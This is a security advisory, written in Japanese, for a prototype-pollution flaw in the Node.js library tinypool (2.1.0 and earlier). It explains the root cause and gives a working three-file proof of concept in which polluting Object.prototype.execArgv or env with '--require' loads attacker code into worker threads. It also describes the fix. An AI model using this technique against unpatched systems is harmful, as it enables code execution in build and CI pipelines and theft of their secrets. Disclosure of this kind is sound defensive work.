Tinypool: `worker` オプションにおけるプロトタイプ汚染により、リモートコード実行が可能になる

`tinypool` は、`new Worker()` に `worker` オプションを渡す際に、プレーンオブジェクトから読み取った値を渡します。そのオブジェクトのプロトタイプは `Object.prototype` です。アプリケーションが設定しなかったオプションは、プロトタイプチェーンを通じて解決され、その後、`worker_threads.Worker` に明示的に渡されます。

Node.js のコアは、`Object.prototype` から継承された `Worker` オプションを無視します。`tinypool` は、それらを読み取り、明示的に渡すことで、それらを独自のプロパティとして再定義し、その保護を回避します。

以下の2つのキーがコード実行をトリガーします。

1. **`execArgv`**: `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` を汚染することで、すべてのプール内のワーカーが攻撃者のスクリプトをロードします。
2. **`env`**: `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` を汚染することで、同様に環境変数を注入して同じ結果を得ます。

## 根本原因

`dist/index.js` の 508~511 行:

```js
env: this.options.env,
argv: this.options.argv,
execArgv: this.options.execArgv,
resourceLimits: this.options.resourceLimits,
```

`this.options` は、470 行でオブジェクトのスプレッド構文を使用して構築されます。

```js
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
```

## 影響

プールが生成するすべてのワーカー内で、ホストプロセスの権限で任意のコードが実行される可能性があります。`tinypool` は、Vitest の裏側のワーカープールであり(週あたり約 4200 万ダウンロード)、影響範囲は開発者のマシンや CI ランナーに及びます。依存関係ツリーのどこかにプロトタイプ汚染の脆弱性があると、攻撃者はビルド/テストパイプラインでコードを実行でき、サプライチェーンへの侵入口(CI のシークレット、署名キー、成果物の公開など)となります。

## 実証コード

最小限の再現例(3 つのファイル):

**worker.mjs** — アプリケーション自身の正当なワーカー:
```js
export default function double(n) { return n * 2 }
```

**payload.js** — 攻撃者によって制御されるコード(アプリケーションからは参照されない):
```js
const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'コード実行が達成されました。プロセスID=' + process.pid)
console.log('*** RCE ***')
```

**app.js** — 通常のtinypoolの使用例:
```js
const path = require('path')

// 上流のPPソース(lodash/qs/minimist/set-value/deepmerge)をシミュレート
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]

const { Tinypool } = require('tinypool')
const pool = new Tinypool({
filename: path.join(__dirname, 'worker.mjs'),
minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
console.log('poolからの戻り値:', r) // 42 — アプリケーションは通常通り動作
pool.destroy()
})
```

実行方法:
```
npm i tinypool@2.1.0
node app.js
cat /tmp/RCE_PROOF.txt # 攻撃者のコードが実行された
```

Node 20では、`execArgv`と`env`の両方の脆弱性が確認されました。

## 推奨される修正

workerのオプションを、自身のプロパティとして扱うように修正:

```js
this.options = Object.assign(Object.create(null),
kDefaultOptions, options, { filename, maxQueue: 0 });
```

影響を受けるパッケージ:
- npm (JavaScript) tinypool: 影響を受けるバージョン <= 2.1.0、2.1.1で修正済み。